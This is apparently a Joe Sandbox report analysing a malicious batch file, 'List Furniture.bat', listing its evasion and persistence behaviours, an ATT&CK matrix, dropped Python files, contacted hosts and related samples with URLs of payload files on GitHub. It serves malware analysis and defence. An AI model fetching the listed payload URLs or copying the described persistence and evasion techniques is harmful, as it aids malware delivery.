Source: C:\Users\Public\Document\python.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4553	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5281	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 960	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 614	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\pythonwin\win32uiole.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_curve25519.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\pythonwin\win32ui.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_curve448.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\pythonwin\scintilla.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\pywin32_system32\pythoncom313.dll	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1120	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5512	Thread sleep count: 960 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5512	Thread sleep count: 614 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6644	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: python.exe, 00000009.00000003.2772249162.0000025920FA0000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2762432531.0000025920FA0000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2797625981.0000025920FA0000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2779025271.0000025920FA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll\
Source: powershell.exe, 00000004.00000002.2851306489.0000018DEB1E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: powershell.exe, 00000004.00000002.2809247010.0000018DD4E2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ro.kernel.qemur

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: Yara match	File source: amsi64_5940.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5940, type: MEMORYSTR

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	11 Windows Management Instrumentation	11 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	111 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	12 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Source	Detection	Scanner
C:\Users\Public\Document\Lib\encodings\__init__.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\aliases.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\ascii.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\base64_codec.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\bz2_codec.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\charmap.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp037.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1006.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1026.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1125.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1140.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1250.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1251.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1252.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1253.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1254.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1255.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1256.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1257.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1258.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp273.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp424.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp437.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp500.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp720.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp737.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp775.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp850.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp852.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp855.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp856.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp857.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp858.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp860.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp861.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp862.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp863.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp864.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp865.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp866.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp869.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp874.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp875.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\hex_codec.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\hp_roman8.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\idna.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_1.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_10.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_11.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_13.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_14.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_15.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_16.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_2.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_3.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_4.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_5.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_6.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_7.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_8.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_9.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\koi8_r.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\koi8_t.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\koi8_u.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\kz1048.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\latin_1.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_croatian.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_cyrillic.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_greek.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_iceland.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_latin2.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_roman.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_romanian.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_turkish.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mbcs.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\oem.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\palmos.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\ptcp154.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\punycode.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\quopri_codec.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\raw_unicode_escape.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\rot_13.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\tis_620.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\undefined.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\unicode_escape.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_16.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_16_be.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_16_le.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_32.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_32_be.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_32_le.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_7.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_8.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_8_sig.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\uu_codec.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\zlib_codec.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\ensurepip\__init__.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\ensurepip\__main__.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\ensurepip\_uninstall.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\enum.py	0%	ReversingLabs

Source	Detection	Scanner	Label
http://www2.hursley.ibm.com/decimal	0%	Avira URL Cloud	safe
https://graph.fK	0%	Avira URL Cloud	safe
https://lists.freebsd.org/pipermail/freebsd-current/2005-May/049876.html	0%	Avira URL Cloud	safe
http://links.twibright.com/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue47071	0%	Avira URL Cloud	safe
https://cs.android.com/android/platform/superproject/	0%	Avira URL Cloud	safe
https://bugs.python.org/msg352381	0%	Avira URL Cloud	safe
http://localhost/localstart.asp	0%	Avira URL Cloud	safe
http://www.microsoft.pki/P	0%	Avira URL Cloud	safe
http://sources.redhat.com/bugzilla/show_bug.cgi?id=5350	0%	Avira URL Cloud	safe
http://repository.swisssign.com/tcycle	0%	Avira URL Cloud	safe
https://api.t	0%	Avira URL Cloud	safe
https://peps.python.org/pep-%04d/	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
github.com	140.82.121.4	true	false	high
ipinfo.io	34.117.59.81	true	false	high
raw.githubusercontent.com	185.199.110.133	true	false	high

IP	Domain	Country	ASN	ASN Name	Malicious
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
140.82.121.4	github.com	United States	36459	GITHUBUS	false
185.199.110.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1550992
Start date and time:	2024-11-07 11:51:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	List Furniture.bat
Detection:	MAL
Classification:	mal100.troj.expl.evad.winBAT@11/1064@3/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 31 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .bat

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report List Furniture.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Document\Lib\email\__pycache__\__init__.cpython-313.pyc

C:\Users\Public\Document\Lib\encodings\__init__.py

C:\Users\Public\Document\Lib\encodings\__pycache__\__init__.cpython-313.pyc

C:\Users\Public\Document\Lib\encodings\__pycache__\aliases.cpython-313.pyc

C:\Users\Public\Document\Lib\encodings\__pycache__\cp1252.cpython-313.pyc

C:\Users\Public\Document\Lib\encodings\__pycache__\cp437.cpython-313.pyc

C:\Users\Public\Document\Lib\encodings\__pycache__\idna.cpython-313.pyc

C:\Users\Public\Document\Lib\encodings\__pycache__\utf_8.cpython-313.pyc

C:\Users\Public\Document\Lib\encodings\__pycache__\utf_8_sig.cpython-313.pyc

C:\Users\Public\Document\Lib\encodings\aliases.py

C:\Users\Public\Document\Lib\encodings\ascii.py

C:\Users\Public\Document\Lib\encodings\base64_codec.py

C:\Users\Public\Document\Lib\encodings\big5.py

C:\Users\Public\Document\Lib\encodings\big5hkscs.py

C:\Users\Public\Document\Lib\encodings\bz2_codec.py

Windows Analysis Report
List Furniture.bat

C:\Users\Public\Document\Lib\email\pycache\init.cpython-313.pyc

C:\Users\Public\Document\Lib\encodings\init.py

C:\Users\Public\Document\Lib\encodings\pycache\init.cpython-313.pyc

C:\Users\Public\Document\Lib\encodings\pycache\aliases.cpython-313.pyc

C:\Users\Public\Document\Lib\encodings\pycache\cp1252.cpython-313.pyc

C:\Users\Public\Document\Lib\encodings\pycache\cp437.cpython-313.pyc

C:\Users\Public\Document\Lib\encodings\pycache\idna.cpython-313.pyc

C:\Users\Public\Document\Lib\encodings\pycache\utf_8.cpython-313.pyc

C:\Users\Public\Document\Lib\encodings\pycache\utf_8_sig.cpython-313.pyc

Time	Type	Description
05:52:50	API Interceptor	24356x Sleep call for process: powershell.exe modified
11:52:50	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecure.bat

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.117.59.81	FormulariomillasbonusLATAM_GsqrekXCVBmUf.cmd	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	172.104.150.66.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	VertusinstruccionesFedEX_66521.zip	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	UjbjOP.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	I9xuKI2p2B.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	licarisan_api.exe	Get hash	malicious	Icarus	Browse	ipinfo.io/ip
	build.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	YjcgpfVBcm.bat	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	lePDF.cmd	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	6Mpsoq1.php.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
140.82.121.4	RfORrHIRNe.doc	Get hash	malicious	Unknown	Browse	github.com/ssbb36/stv/raw/main/5.mp3
185.199.110.133	sys_upd.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	cr_asm_menu..ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	cr_asm_phshop..ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	cr_asm_atCAD.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	vF20HtY4a4.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	xK44OOt7vD.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Get hash	malicious	Metasploit	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ipinfo.io	BB.bat	Get hash	malicious	Braodo	Browse	34.117.59.81
	https://E.vg/FoedcaVhT	Get hash	malicious	Unknown	Browse	34.117.59.81
	https://load.contbot.com.br/	Get hash	malicious	Unknown	Browse	34.117.59.81
	SecuriteInfo.com.Trojan.Siggen29.64132.8972.20040.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	k1iZHyRK6K.exe	Get hash	malicious	DCRat	Browse	34.117.59.81
	Paiement.eml	Get hash	malicious	HTMLPhisher	Browse	34.117.59.81
	FormulariomillasbonusLATAM_GsqrekXCVBmUf.cmd	Get hash	malicious	Unknown	Browse	34.117.59.81
	172.104.150.66.ps1	Get hash	malicious	Unknown	Browse	34.117.59.81
	app64.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	PbfYaIvR5B.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.59.81
raw.githubusercontent.com	BB.bat	Get hash	malicious	Braodo	Browse	185.199.108.133
	yuki.exe	Get hash	malicious	Luna Stealer	Browse	185.199.109.133
	Bank Information Details.bat	Get hash	malicious	LodaRAT, XRed	Browse	185.199.109.133
	meN9qeS2DE.exe	Get hash	malicious	XWorm	Browse	185.199.110.133
	SecuriteInfo.com.Heur.22899.6422.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	SecuriteInfo.com.Heur.22899.6422.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	company profile and iems .vbs	Get hash	malicious	Unknown	Browse	185.199.111.133
	https://raw.githubusercontent.com/EthanBrooks1955/2x4Q/main/OCPEC.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	QzX4KXBXPq.exe	Get hash	malicious	LummaC	Browse	185.199.110.133
	SecuriteInfo.com.Trojan.Siggen29.64132.8972.20040.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
github.com	BB.bat	Get hash	malicious	Braodo	Browse	140.82.121.4
	meN9qeS2DE.exe	Get hash	malicious	XWorm	Browse	140.82.121.3
	Payment Confirmation (237 KB).msg	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.121.4
	19532311200120230008100 Responsabilidad Civil Contractual extracontractual.bat	Get hash	malicious	Unknown	Browse	140.82.121.4
	3KOX6gQCoE.bat	Get hash	malicious	Unknown	Browse	140.82.121.4
	QzX4KXBXPq.exe	Get hash	malicious	LummaC	Browse	140.82.121.3
	SecuriteInfo.com.Trojan.Siggen29.64132.8972.20040.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	malware-DONT-RUN.ps1	Get hash	malicious	Unknown	Browse	140.82.121.4
	VjVu82WknO.lnk	Get hash	malicious	Unknown	Browse	140.82.121.3
	R5h25B8i22.lnk	Get hash	malicious	Unknown	Browse	140.82.121.3

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	BB.bat	Get hash	malicious	Braodo	Browse	185.199.110.133 140.82.121.4
	KNARH81GDR5261301.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.199.110.133 140.82.121.4
	getup.ps1	Get hash	malicious	LummaC	Browse	185.199.110.133 140.82.121.4
	New_Order_PO_GM5637H93.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine, XWorm	Browse	185.199.110.133 140.82.121.4
	Nvojocm.exe	Get hash	malicious	DarkCloud	Browse	185.199.110.133 140.82.121.4
	Documentos_xlsm.exe	Get hash	malicious	DarkCloud	Browse	185.199.110.133 140.82.121.4
	Auftragsbest#U00e4tigung 20241107_pdf.com.exe	Get hash	malicious	Quasar	Browse	185.199.110.133 140.82.121.4
	greatthingswithmegreatloverherehavewithmegreat.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	185.199.110.133 140.82.121.4
	Bank Information Details.bat	Get hash	malicious	LodaRAT, XRed	Browse	185.199.110.133 140.82.121.4
	file.exe	Get hash	malicious	Unknown	Browse	185.199.110.133 140.82.121.4

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1926
Entropy (8bit):	5.175467002544334
Encrypted:	false
SSDEEP:	48:5OQsh6OD9UF9YQFw2Gf49n3wD9lq6q9rKta:srh6OMYPFfI8lq62r/
MD5:	DC70361936EE12AB5F461D1C53BBEC28
SHA1:	CAE59DAA1235016FF7EDA597827488EE11E69402
SHA-256:	DF515E43824E05E1E9CB29C8E6AC3B3FC8F8F9E340D5CB14A4F2D96ED8E5F894
SHA-512:	9E4BED462EEC252C0C5D65A38AAA6912B61157081059F02121E68020A623231D2E47BC19106DDF1F2CF4A106F86F072356A5E22DAABC90477841CF2954E4E5B2
Malicious:	false
Reputation:	low
Preview:	.........T.g!.........................(.....S.r./.S.Q.r.S...r.S...r.S...r.S...r.g.).z?A package for parsing, handling, and generating email messages.)...base64mime..charset..encoders..errors..feedparser..generator..header..iterators..message..message_from_file..message_from_binary_file..message_from_string..message_from_bytes..mime..parser..quoprimime..utilsc.....................<.....S.S.K.J.n. .U.".U.0.U.D.6.R...................U.5.......$.).znParse a string into a Message object model...Optional _class and strict are passed to the Parser constructor...........Parser)...email.parserr......parsestr)...s..args..kwsr....s.... .LC:\Users\ADMIN\AppData\Local\Programs\Python\Python313\Lib\email\__init__.pyr....r........s".........$....4....3.....(..(....+..+.....c.....................<.....S.S.K.J.n. .U.".U.0.U.D.6.R...................U.5.......$.).ztParse a bytes string into a Message object model...Optional _class and strict are passed to the Parser constructor..r........BytesParser).

Process:	C:\Users\Public\Document\python.exe
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.247519459529109
Encrypted:	false
SSDEEP:	6:u/lqmlG65nCl7UBRNeNc+uaH9dCwdArsqdtyCOH:eljg7gRNeNHd/qdty7H
MD5:	A1C8FAE184769C7B29B0299747727E26
SHA1:	98B2779B4BC550E182EDBF123CEA67EFE8E4AC0E
SHA-256:	440B836FD308B9D99D7D488FF15504026B10C0F82EC7FEC38EBF4FF8989EECD9
SHA-512:	28FA3917E585CB218B8AAD149724294A011BA5FE346090BDCA90EB71EB5E4DC9BE098C358F41BB0E1600DEE24DBDB182968AFAF0D5E775139F91C2196AF434DC
Malicious:	false
Preview:	...........g^......................... .....S.S.K.J.r.J.r. .S.S./.r.S.r.g.)......)...contents..wherer....r....z.2024.08.30N)...corer....r......__all__..__version__........>C:\Users\Public\Document\Lib\site-packages\certifi\__init__.py..<module>r........s...........!....w..........r....

File type:	Unicode text, UTF-16, little-endian text, with very long lines (32767), with no line terminators
Entropy (8bit):	2.53330339342156
TrID:	Text - UTF-16 (LE) encoded (2002/1) 66.67% MP3 audio (1001/1) 33.33%
File name:	List Furniture.bat
File size:	7'413'027 bytes
MD5:	fdfa2dd654ad71df820fbd7f5bd22b50
SHA1:	4038e401d9779fb3090d8ca439e3ea5100610bb2
SHA256:	f4b2ac1a02f6ad9b2b2529b495e1f0e078e5f1a104f0533a8e546fda0e0d7347
SHA512:	875534db4381ed97cb70d78dccdaf54a5430ed8fece85cfd41b733780afa740cdc2cf7c599e89d9cb31cf738d82a01883baa3e92f953c35333f7ed4fcaf5e7af
SSDEEP:	1536:co00000y0o0000000000000000000000000000000000000:2
TLSH:	BB760126B0C6A3406D467E95D1926774C71EEAC96EF3C6D8C8D127B2F16CC2C3A4B50E
